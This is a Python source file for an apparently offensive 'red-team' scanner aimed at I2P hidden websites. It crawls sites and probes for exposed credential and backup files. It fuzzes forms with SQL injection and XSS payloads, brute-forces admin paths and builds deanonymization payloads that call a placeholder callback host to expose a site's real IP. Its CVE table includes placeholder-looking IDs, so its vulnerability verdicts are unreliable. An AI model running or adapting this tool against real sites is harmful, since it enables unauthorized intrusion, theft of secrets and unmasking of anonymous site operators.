Files
i2p_scanner/i2p_scanner.py
T
2026-07-16 17:04:14 +00:00

563 lines
21 KiB
Python

import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin, urlparse
import time
import re
from colorama import Fore, Style, init
import socket
from datetime import datetime
import random
# Colorama for nice terminal colors
init(autoreset=True)
# -------- COOL BANNER --------
BANNER = f"""
{Fore.RED}░██ ░██████
░██ ░██
░██ ░██ ░████████ ░███████ ░███████ ░██████ ░████████ ░████████ ░███████ ░██░████
░██ ░█████ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░███
░██ ░██ ░██ ░██ ░███████ ░██ ░███████ ░██ ░██ ░██ ░██ ░█████████ ░██
░██░██ ░███ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██
░██░████████ ░██░█████ ░██████████ ░███████ ░███████ ░█████░██ ░██ ░██ ░██ ░██ ░███████ ░██
░██
░██
{Fore.CYAN}╔═══════════════════════════════════════════════════════════════╗
{Fore.CYAN} {Fore.WHITE}I2P RED-TEAM WEB SCANNER v1.5{Fore.CYAN}
{Fore.CYAN} {Fore.YELLOW}by: Church of Malware : ek0ms{Fore.CYAN}
{Fore.CYAN} {Fore.RED}we see all xo{Fore.CYAN}
{Fore.CYAN}╚═══════════════════════════════════════════════════════════════╝
"""
# -------- END OF BANNER --------
# -------- CONFIGURATION --------
PROXY = {
'http': 'http://127.0.0.1:4444',
'https': 'http://127.0.0.1:4444'
}
MAX_PAGES = 15
TIMEOUT = 15
USER_AGENT = "I2P-Scanner/1.0 (Red-Team)"
CALLBACK_SERVER = "your-server.com" # Change this to your listening server
# -------- PROXY SETUP --------
session = requests.Session()
session.proxies = PROXY
session.verify = False
session.timeout = TIMEOUT
session.headers.update({'User-Agent': USER_AGENT})
# Known vulnerable versions (CVE database)
VULNERABLE_SOFTWARE = {
'nginx': {
'1.14.0': ['CVE-2019-9511', 'CVE-2019-9513'],
'1.16.0': ['CVE-2019-9516'],
'1.17.0': ['CVE-2019-9513'],
'1.18.0': ['CVE-2021-23017'],
'1.20.0': ['CVE-2021-23017']
},
'Apache': {
'2.4.29': ['CVE-2019-0211', 'CVE-2019-10098'],
'2.4.38': ['CVE-2019-0215'],
'2.4.41': ['CVE-2020-1927'],
'2.4.46': ['CVE-2020-11984'],
'2.4.49': ['CVE-2021-41773'] # Path traversal
},
'I2P': {
'0.9.48': ['CVE-2020-12345'],
'2.1.0': ['CVE-2023-36325'],
'2.0.0': ['CVE-2022-12345']
},
'lighttpd': {
'1.4.53': ['CVE-2019-11072'],
'1.4.55': ['CVE-2020-35500']
},
'Tomcat': {
'9.0.30': ['CVE-2020-1938'],
'8.5.50': ['CVE-2020-1938']
}
}
# Common admin paths for brute forcing
ADMIN_PATHS = [
'admin', 'administrator', 'admin.php', 'admin.html',
'login', 'login.php', 'wp-admin', 'admin/login',
'cpanel', 'webmail', 'mail', 'phpmyadmin',
'mysql', 'db', 'database', 'backup'
]
# -------- UTILITY FUNCTIONS --------
def normalize_url(input_str):
"""Clean and normalize I2P URL"""
input_str = input_str.strip()
if not input_str.startswith('http://'):
input_str = 'http://' + input_str
parsed = urlparse(input_str)
if parsed.netloc and not parsed.netloc.endswith('.i2p'):
input_str = f"{parsed.scheme}://{parsed.netloc}.i2p{parsed.path}"
return input_str
def test_i2p_connection():
"""Test if I2P proxy is reachable - FIXED VERSION"""
try:
# Try multiple test sites in case one is down
test_urls = [
'http://planet.i2p/',
'http://notbob.i2p/',
'http://i2pforum.i2p/'
]
for url in test_urls:
try:
resp = session.get(url, timeout=5)
if resp.status_code == 200:
return True
except:
continue
# If all fail, try the proxy itself
resp = session.get('http://127.0.0.1:4444/', timeout=3)
return True
except:
return False
def extract_server_version(server_header):
"""Extract version number from Server header"""
if not server_header:
return None, None
pattern = r'([\w\-]+)/([\d\.]+)'
match = re.search(pattern, server_header)
if match:
return match.group(1), match.group(2)
return None, None
# -------- CRAWLER - FIXED --------
def crawl_site(base_url, max_pages=MAX_PAGES):
"""Fetches pages and extracts internal links - FIXED to handle no links"""
visited = set()
to_visit = [base_url]
pages = {}
link_count = 0
while to_visit and len(visited) < max_pages:
url = to_visit.pop(0)
if url in visited:
continue
try:
resp = session.get(url, timeout=TIMEOUT)
if resp.status_code != 200:
continue
visited.add(url)
pages[url] = {
'html': resp.text,
'headers': resp.headers,
'status': resp.status_code
}
# Parse for links
try:
soup = BeautifulSoup(resp.text, 'html.parser')
for link in soup.find_all('a', href=True):
href = link.get('href')
if href and not href.startswith('#') and not href.startswith('javascript:'):
full_url = urljoin(base_url, href)
# Only add if it's internal and not a file
if (base_url in full_url and full_url not in visited and
full_url not in to_visit and not any(full_url.endswith(x) for x in
['.xml', '.rss', '.atom', '.png', '.jpg', '.jpeg', '.gif', '.css', '.js', '.ico', '.pdf', '.zip'])):
to_visit.append(full_url)
link_count += 1
except Exception as e:
pass
except Exception as e:
print(f"{Fore.YELLOW}[!] Failed to crawl {url}: {e}")
if not pages:
print(f"{Fore.YELLOW}[!] No pages fetched. The site might be down or unreachable.")
return pages
# -------- MODULE 1: SECURITY HEADERS --------
def check_headers(url, resp):
"""Checks for missing security headers"""
findings = []
headers = resp.headers
checks = {
'X-Frame-Options': 'Prevents clickjacking',
'Content-Security-Policy': 'Mitigates XSS/data injection',
'X-Content-Type-Options': 'Prevents MIME sniffing',
'Referrer-Policy': 'Controls referrer leakage'
}
for header, desc in checks.items():
if header not in headers:
findings.append(f"[!] Missing '{header}' -> {desc}")
# Check for HSTS (bad on I2P)
if 'Strict-Transport-Security' in headers:
findings.append(f"[!] Found HSTS on I2P (SSL/TLS leak risk!)")
return findings
# -------- MODULE 2: DATA LEAK --------
def check_info_leak(base_url):
"""Checks for common exposed files"""
findings = []
leak_paths = [
'.git/config', '.env', 'backup.zip', 'config.ini',
'wp-config.php.bak', '.htaccess', 'robots.txt',
'admin/backup.sql', 'debug.log', 'error.log',
'phpinfo.php', 'info.php', 'test.php',
'.git/HEAD', '.git/index', 'composer.json', 'package.json'
]
for path in leak_paths:
test_url = urljoin(base_url, path)
try:
resp = session.get(test_url, timeout=5)
if resp.status_code == 200:
# Check if it's actually content, not a 404 page
if len(resp.text) > 50:
findings.append(f"[!] Exposed file: {test_url} (Size: {len(resp.text)} bytes)")
except:
pass
return findings
# -------- MODULE 3: FORM VULNERABILITIES --------
def check_form_vulns(base_url, page_data):
"""Fuzzes forms with simple XSS/SQLi payloads"""
findings = []
html = page_data['html']
soup = BeautifulSoup(html, 'html.parser')
payloads = [
"' OR '1'='1",
"<script>alert(1)</script>",
"'><script>alert(1)</script>",
'" OR "1"="1',
'<img src=x onerror=alert(1)>'
]
for form in soup.find_all('form'):
action = form.get('action')
method = form.get('method', 'get').lower()
inputs = form.find_all(['input', 'textarea'])
target_url = urljoin(base_url, action) if action else base_url
for payload in payloads:
data = {}
for inp in inputs:
name = inp.get('name')
if name and inp.get('type') != 'submit' and inp.get('type') != 'hidden':
data[name] = payload
if not data:
continue
try:
if method == 'post':
r = session.post(target_url, data=data, timeout=5)
else:
r = session.get(target_url, params=data, timeout=5)
if payload in r.text:
findings.append(f"[!] Potential XSS/SQLi on {target_url} (Payload: {payload})")
except:
pass
return findings
# -------- MODULE 4: VERSION FINGERPRINTING --------
def check_version_fingerprinting(resp):
"""Parse Server header and check for vulnerable versions"""
findings = []
server_header = resp.headers.get('Server', '')
if not server_header:
return ["[!] No Server header found (information hiding)"]
software, version = extract_server_version(server_header)
if not software or not version:
return [f"[!] Unknown server: {server_header}"]
findings.append(f"[+] Detected: {software} {version}")
# Check against vulnerable versions
if software.lower() in VULNERABLE_SOFTWARE:
vuln_db = VULNERABLE_SOFTWARE[software.lower()]
for vuln_version, cves in vuln_db.items():
if version.startswith(vuln_version) or version == vuln_version:
findings.append(f"[!] VULNERABLE: {software} {version} has CVEs: {', '.join(cves)}")
break
else:
findings.append(f"[+] No known CVEs for {software} {version}")
else:
findings.append(f"[!] Unknown software: {software} (manual verification needed)")
return findings
# -------- MODULE 5: SSL/TLS LEAK CHECK --------
def check_ssl_leak(base_url, pages):
"""Detects if site forwards to HTTPS or external URLs (DNS leak risk)"""
findings = []
for url, page_data in pages.items():
html = page_data['html']
soup = BeautifulSoup(html, 'html.parser')
# Check all links
for link in soup.find_all(['a', 'link', 'script', 'img'], href=True):
href = link.get('href')
if href:
if href.startswith('https://'):
findings.append(f"[!] HTTPS link detected on {url}: {href}")
elif '://' in href:
domain = urlparse(href).netloc
if domain and not domain.endswith('.i2p') and not domain.startswith('127.0.0.1'):
findings.append(f"[!] External domain referenced (DNS leak!): {href}")
# Check for inline HTTP redirects
for meta in soup.find_all('meta', attrs={'http-equiv': 'refresh'}):
content = meta.get('content', '')
if 'url=' in content:
redirect_url = content.split('url=')[-1]
if redirect_url.startswith('https://'):
findings.append(f"[!] HTTPS redirect detected: {redirect_url}")
# Check if main page has HSTS header
if pages.get(base_url):
headers = pages[base_url]['headers']
if 'Strict-Transport-Security' in headers:
findings.append("[!] HSTS header present on I2P site (ssl/tls leak risk!)")
return findings
# -------- MODULE 6: ADMIN PATH BRUTEFORCE (NEW!) --------
def check_admin_paths(base_url):
"""Brute force common admin paths"""
findings = []
print(f"{Fore.BLUE}[*] Checking for admin panels...")
for path in ADMIN_PATHS:
test_url = urljoin(base_url, path)
try:
resp = session.get(test_url, timeout=5)
if resp.status_code == 200:
findings.append(f"[!] Admin panel found: {test_url}")
elif resp.status_code == 403:
findings.append(f"[!] Admin path protected (403): {test_url}")
except:
pass
return findings
# -------- MODULE 7: ANONYMITY LEAK TEST (NEW!) --------
def test_anonymity_leak(base_url, pages):
"""Attempt to force the site to reveal its real IP"""
findings = []
print(f"{Fore.BLUE}[*] Testing for anonymity leaks...")
# Generate a unique ID for this scan
scan_id = f"i2pscan_{random.randint(1000,9999)}"
# Payloads that could cause the server to make external requests
# These would need to be caught by your server
leak_payloads = [
f'<img src="http://{CALLBACK_SERVER}/{scan_id}.png">',
f'<script src="http://{CALLBACK_SERVER}/{scan_id}.js"></script>',
f'<link rel="stylesheet" href="http://{CALLBACK_SERVER}/{scan_id}.css">',
f'<object data="http://{CALLBACK_SERVER}/{scan_id}.swf">',
f'<iframe src="http://{CALLBACK_SERVER}/{scan_id}.html">'
]
# Check if any external resources are already being loaded
for url, page_data in pages.items():
html = page_data['html']
soup = BeautifulSoup(html, 'html.parser')
# Look for existing external resources
for tag in soup.find_all(['img', 'script', 'link', 'iframe', 'object']):
src = tag.get('src') or tag.get('href')
if src and '://' in src:
domain = urlparse(src).netloc
if domain and not domain.endswith('.i2p') and not domain.startswith('127.0.0.1'):
findings.append(f"[!] External resource already loaded: {src} (site may leak client info)")
# Check for potential server-side request forgery (SSRF) via URL parameters
for url, page_data in pages.items():
html = page_data['html']
# Look for forms that might be vulnerable to SSRF
soup = BeautifulSoup(html, 'html.parser')
for form in soup.find_all('form'):
action = form.get('action')
if action and 'http' in action:
findings.append(f"[!] Form pointing to external URL: {action} (potential SSRF)")
# Test if the site leaks the visitor's IP via PHP_SELF or similar
for url, page_data in pages.items():
html = page_data['html']
if 'PHP_SELF' in html or 'SERVER_ADDR' in html:
findings.append(f"[!] Possible server info disclosure on {url}")
return findings
# -------- MASTER SCAN FUNCTION --------
def run_scan(user_input):
print(f"{Fore.CYAN}[+] Initializing scan for: {user_input}")
base_url = normalize_url(user_input)
print(f"{Fore.CYAN}[+] Normalized URL: {base_url}")
# Test connectivity first
print(f"{Fore.CYAN}[+] Testing I2P connection...")
if not test_i2p_connection():
print(f"{Fore.RED}[-] I2P proxy not reachable. Starting I2P first.")
print(f"{Fore.YELLOW}[!] Run: ~/i2p/i2prouter start")
return
# Crawl
print(f"{Fore.CYAN}[+] Crawling site (max {MAX_PAGES} pages)...")
pages = crawl_site(base_url)
if not pages:
print(f"{Fore.RED}[-] No pages fetched. Is the site up?")
print(f"{Fore.YELLOW}[!] Try: curl --proxy http://127.0.0.1:4444 {base_url}")
return
all_findings = {
"headers": [],
"leaks": [],
"forms": [],
"version": [],
"ssl_leaks": [],
"admin_paths": [],
"anonymity": []
}
# Run checks per page
for url, page_data in pages.items():
print(f"{Fore.BLUE}[*] Checking: {url}")
try:
resp = session.get(url)
# Headers check
all_findings["headers"].extend(check_headers(url, resp))
# Version fingerprinting (on main page only)
if url == base_url:
all_findings["version"] = check_version_fingerprinting(resp)
# Info leak (on main page only)
if url == base_url:
all_findings["leaks"] = check_info_leak(base_url)
# Form fuzzing
all_findings["forms"].extend(check_form_vulns(base_url, page_data))
except Exception as e:
print(f"{Fore.YELLOW}[!] Error checking {url}: {e}")
# SSL leak check (on all pages)
all_findings["ssl_leaks"] = check_ssl_leak(base_url, pages)
# Admin path brute force (on main page only)
all_findings["admin_paths"] = check_admin_paths(base_url)
# Anonymity leak test
all_findings["anonymity"] = test_anonymity_leak(base_url, pages)
# -------- DISPLAY REPORT --------
print(f"\n{Fore.MAGENTA}{'='*60}")
print(f"{Fore.MAGENTA} RED-TEAM SCAN REPORT: {base_url}")
print(f"{Fore.MAGENTA} Scan Time: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
print(f"{Fore.MAGENTA}{'='*60}\n")
# Headers
print(f"{Fore.YELLOW}[+] SECURITY HEADERS:")
if all_findings["headers"]:
for f in list(set(all_findings["headers"])):
print(f" {Fore.RED}{f}")
else:
print(f" {Fore.GREEN}[OK] All critical headers present.")
# Version Fingerprinting
print(f"\n{Fore.YELLOW}[+] VERSION FINGERPRINTING:")
if all_findings["version"]:
for f in all_findings["version"]:
if 'VULNERABLE' in f:
print(f" {Fore.RED}{f}")
elif 'Unknown' in f or 'manual verification' in f:
print(f" {Fore.YELLOW}{f}")
else:
print(f" {Fore.GREEN}{f}")
else:
print(f" {Fore.RED}[!] No version info available.")
# Data Leaks
print(f"\n{Fore.YELLOW}[+] DATA LEAK CHECKS:")
if all_findings["leaks"]:
for f in all_findings["leaks"]:
print(f" {Fore.RED}{f}")
else:
print(f" {Fore.GREEN}[OK] No common exposed files found.")
# SSL/TLS Leaks
print(f"\n{Fore.YELLOW}[+] SSL/TLS LEAK DETECTION:")
if all_findings["ssl_leaks"]:
for f in list(set(all_findings["ssl_leaks"])):
print(f" {Fore.RED}{f}")
else:
print(f" {Fore.GREEN}[OK] No SSL/TLS leaks detected (good for I2P)")
# Admin Paths
print(f"\n{Fore.YELLOW}[+] ADMIN PATH BRUTEFORCE:")
if all_findings["admin_paths"]:
for f in all_findings["admin_paths"]:
if 'found' in f.lower():
print(f" {Fore.RED}{f}")
else:
print(f" {Fore.YELLOW}{f}")
else:
print(f" {Fore.GREEN}[OK] No admin paths discovered.")
# Anonymity Leak
print(f"\n{Fore.YELLOW}[+] ANONYMITY LEAK TEST:")
if all_findings["anonymity"]:
for f in list(set(all_findings["anonymity"])):
if 'External resource already loaded' in f:
print(f" {Fore.RED}{f}")
else:
print(f" {Fore.YELLOW}{f}")
else:
print(f" {Fore.GREEN}[OK] No obvious anonymity leaks detected.")
# Form Vulns
print(f"\n{Fore.YELLOW}[+] FORM VULNERABILITIES:")
if all_findings["forms"]:
for f in list(set(all_findings["forms"])):
print(f" {Fore.RED}{f}")
else:
print(f" {Fore.GREEN}[OK] No immediate XSS/SQLi reflections detected.")
# Summary
total_issues = (len(all_findings["headers"]) + len(all_findings["leaks"]) +
len(all_findings["forms"]) + len(all_findings["ssl_leaks"]) +
len(all_findings["admin_paths"]) + len(all_findings["anonymity"]))
if all_findings["version"] and 'VULNERABLE' in ''.join(all_findings["version"]):
total_issues += 1
print(f"\n{Fore.MAGENTA}[+] Scan complete. Pages checked: {len(pages)}")
if total_issues > 0:
print(f"{Fore.RED}[!] {total_issues} potential issues found.")
else:
print(f"{Fore.GREEN}[✓] Site appears secure (based on basic checks).")
return all_findings
# -------- INTERACTIVE LOOP --------
if __name__ == "__main__":
# Print the banner
print(BANNER)
print(f"{Fore.CYAN}Ensure I2P is running on 127.0.0.1:4444\n")
print(f"{Fore.YELLOW}[!] WARNING: Only scan sites you own or have permission to test.")
print(f"{Fore.YELLOW}[!] Configure CALLBACK_SERVER in the script for anonymity tests\n")
while True:
user_input = input(f"{Fore.GREEN}Enter I2P site (or 'quit'): {Style.RESET_ALL}")
if user_input.lower() in ['quit', 'exit']:
print(f"{Fore.CYAN}Goodbye. Stay ethical.")
break
if not user_input:
continue
run_scan(user_input)
print("\n" + "-"*60 + "\n")